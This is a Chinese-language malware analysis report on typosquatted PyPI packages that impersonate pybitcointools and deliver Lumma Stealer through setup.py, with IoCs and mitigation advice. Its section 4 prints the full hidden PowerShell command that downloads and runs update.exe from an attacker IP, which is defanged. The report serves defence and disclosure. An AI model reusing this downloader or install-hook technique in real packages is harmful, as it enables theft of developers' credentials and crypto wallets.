
摘要
本報告提供針對 Python Package Index (PyPI) 上發現的一場惡意軟體攻擊的技術分析。威脅行為者上傳了數個惡意套件,這些套件透過「typosquatting」(誤植域名)技術冒充熱門的
pybitcointools
函式庫。這些套件在
setup.py
檔案中內含惡意程式碼,目的為透過
pip
安裝時下載並執行一個資訊竊取的 Payload(被辨識為 Lumma Stealer)。這次攻擊利用 PowerShell 指令來獲取並執行 Payload,目標是竊取開發者的敏感資料,包括加密貨幣錢包和瀏覽器認證(Browser credentials)。此事件突顯了軟體供應鏈安全以及開源儲存庫被濫用的持續風險。

1. 簡介
Python Package Index (PyPI) 是 Python 開發者的重要資源,但日益成為威脅行為者透過軟體供應鏈攻擊散布惡意軟體的目標。本報告詳細說明了一場由 ReversingLabs 分析的特定攻擊活動 1 ,其中惡意行為者利用 typosquatting 技術,誘騙開發者安裝用於比特幣操作有漏洞的函式庫版本。本分析的重點在於攻擊中使用的技術機制,從套件安裝的初始危害到 Payload的傳遞與執行。
2. 攻擊途徑:在 PyPI 上的 Typosquatting
這次攻擊的主要途徑是在 PyPI 上發布與合法且熱門的函式庫
pybitcointools
極為相似的惡意套件。Typosquatting 仰賴開發者在指定相依性或搜尋套件時出現拼寫錯誤。
1
-
合法目標套件:
pybitcointools
-
已識別的惡意套件:
-
pybitcointoolz
-
pybitcointools-btc
-
pybitcointools-A
-
pybitcointools-bitcoin
-
攻擊者透過這些稍微變更的名稱,意圖攔截原本針對合法函式庫的安裝。
3. 惡意軟體執行機制
惡意程式碼被嵌入在這些假套件的
setup.py
檔案中。此檔案會在安裝過程中由套件管理工具如
pip
自動執行(
pip install
)。
1
- 觸發條件: 安裝其中一個惡意套件。
-
執行流程:
-
setup.py
Script 使用 Python 的subprocess
模組,具體來說是 subprocess.Popen 。 -
subprocess.Popen
用於啟動一個隱藏的 PowerShell 程序(
-WindowStyle Hidden
)。 -
PowerShell 程序被呼叫時帶有特定參數,以繞過執行政策(
-NoProfile -ExecutionPolicy Bypass
)並執行進一步的指令。
-
4. Payload下載與執行(第一階段)
setup.py
中的核心惡意活動涉及執行 PowerShell 指令以下載主要 Payload:
1
-
PowerShell 指令:
powershell -Command "Start-Process powershell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -Command \"Invoke-WebRequest -Uri hxxp://62.113.114[.]157:8000/final -OutFile $env:TEMP\\update.exe; Start-Process $env:TEMP\\update.exe'\" -WindowStyle Hidden"
-
分解說明:
-
Invoke-WebRequest
:此指令從指定的 URI 下載內容。-
URI:
hxxp://62.113.114[.]157:8000/final
(註:為安全起見,URL 已做無害化處理) - 指向攻擊者控制的伺服器,託管 Payload。 -
輸出檔案:
-OutFile $env:TEMP\\update.exe
- 下載的 Payload儲存至使用者的暫存目錄(%TEMP%
),檔案名稱為 update.exe 。
-
URI:
-
Start-Process $env:TEMP\\update.exe
:下載成功後,此指令立即執行下載的 Payload(update.exe
)。 -
-WindowStyle Hidden
:確保整個 PowerShell 操作(包括下載與執行)在無可見視窗的情況下進行,使其更具隱密性。
-
5. Payload分析(第二階段):
update.exe
下載的執行檔
update.exe
被辨別為資訊竊取軟體。
1
- 惡意軟體家族: Lumma Stealer(也稱為 LummaC2 Stealer)。這是一個已知的 MaaS(Malware-as-a-Service)資訊竊取軟體。
-
功能:
Lumma Stealer 被設計用來從受感染的系統中竊取廣泛的敏感資訊,包括:
- 加密貨幣錢包資料(私鑰、各種錢包應用程式/擴充功能中的 seed phrases )。
- 瀏覽器資料(cookies、儲存的密碼、瀏覽歷史、表單資料)。
- 系統資訊(作業系統版本、硬體細節、執行中的程序)。
- 各種應用程式的認證(VPN、FTP 客戶端、通訊應用程式)。
- 資料外洩: 被竊取的資料通常會被封裝並傳送至攻擊者控制的指令與控制(C2)伺服器 。
6. 危害指標(IoCs)
分析中識別出以下危害指標(IoCs) 1 :
-
惡意套件名稱:
pybitcointoolz
,pybitcointools-btc
,pybitcointools-A
,pybitcointools-bitcoin
-
Payload下載 URL:
hxxp://62.113.114[.]157:8000/final
-
Payload下載 IP:
62.113.114[.]157
-
Payload檔案名稱:
update.exe
-
Payload位置:
%TEMP%\update.exe
(例如:C:\Users\<使用者名稱>\AppData\Local\Temp\update.exe
) - 惡意軟體: Lumma Stealer / 資訊竊取軟體
7. 技術影響評估
若此攻擊成功在開發者的電腦上執行,可能導致嚴重後果:
- 加密貨幣資產竊取: 直接存取被竊取的私鑰或錢包檔案可能導致財務損失。
- 敏感認證洩露: 被竊取的瀏覽器 cookies 和密碼可能導致個人及公司帳戶(電子郵件、程式碼儲存庫、雲端服務)被未經授權存取。
- 進一步系統危害: 資訊竊取軟體可能成為部署額外惡意軟體的立足點。
- 供應鏈風險放大: 若開發者的程式碼儲存庫(如 GitHub、GitLab)或套件登錄(如 PyPI)的認證被盜,攻擊者可能將惡意程式碼注入合法專案,大幅擴大攻擊影響。
8. 緩解與防禦策略
採用強健的技術控制措施有助於減輕此類攻擊的風險:
- 相依性驗證: 在安裝前嚴格檢查套件名稱是否有拼寫錯誤。檢查 PyPI 上的套件元資料、下載統計數據及發布日期。
-
使用鎖定檔案:
實施相依性鎖定(例如帶有雜湊值的
requirements.txt
、Pipfile.lock
、poetry.lock
),以確保使用已知且經過驗證的套件版本進行可重複的建置。 -
程式碼/相依性掃描:
使用安全工具(例如 Sonatype、Blackduck)掃描相依性中的已知漏洞及惡意程式碼模式,包括檢查
setup.py
。 - 網路監控: 監控外部網路流量,特別是在套件安裝階段,檢查是否有連接到可疑 IP 或網域的行為。封鎖已知的惡意 IoCs。
-
最小權限原則:
執行開發任務(包括套件安裝)時,使用最低必要的權限。盡可能避免以管理員身份執行
pip install
。 -
沙箱/虛擬環境:
使用虛擬環境(
venv
、conda
)來隔離專案相依性。考慮在開發與測試時使用容器化(Docker)進一步隔離。 - 執行政策強制: 雖然此攻擊繞過了限制,維持更嚴格的 PowerShell 執行政策仍可防止較不複雜的 Script 攻擊。
9. 結論
這場攻擊活動展示了將社交工程策略(typosquatting)與簡單卻有效的技術執行方法(
setup.py
濫用、PowerShell 下載器)相結合,透過可信的開發者生態系統散布像 Lumma Stealer 這樣的惡意軟體的效果
1
。針對比特幣相關函式庫的攻擊突顯了此類攻擊背後常見的財務動機。持續的警覺、穩健的相依性管理實務以及主動的安全掃描,是對抗來自公共套件儲存庫的軟體供應鏈危害的關鍵技術防禦措施。
參考資料
- ReversingLabs 部落格。(April 3, 2025)。 Malicious Python packages target popular bitcoin library 。取自 https://www.reversinglabs.com/blog/malicious-python-packages-target-popular-bitcoin-library
免責聲明: 本報告僅基於參考的 ReversingLabs 文章 1 所提供之資訊。如需最完整且最新的詳細資料,請參閱原始來源。IoCs 在用於封鎖規則前應先進行驗證。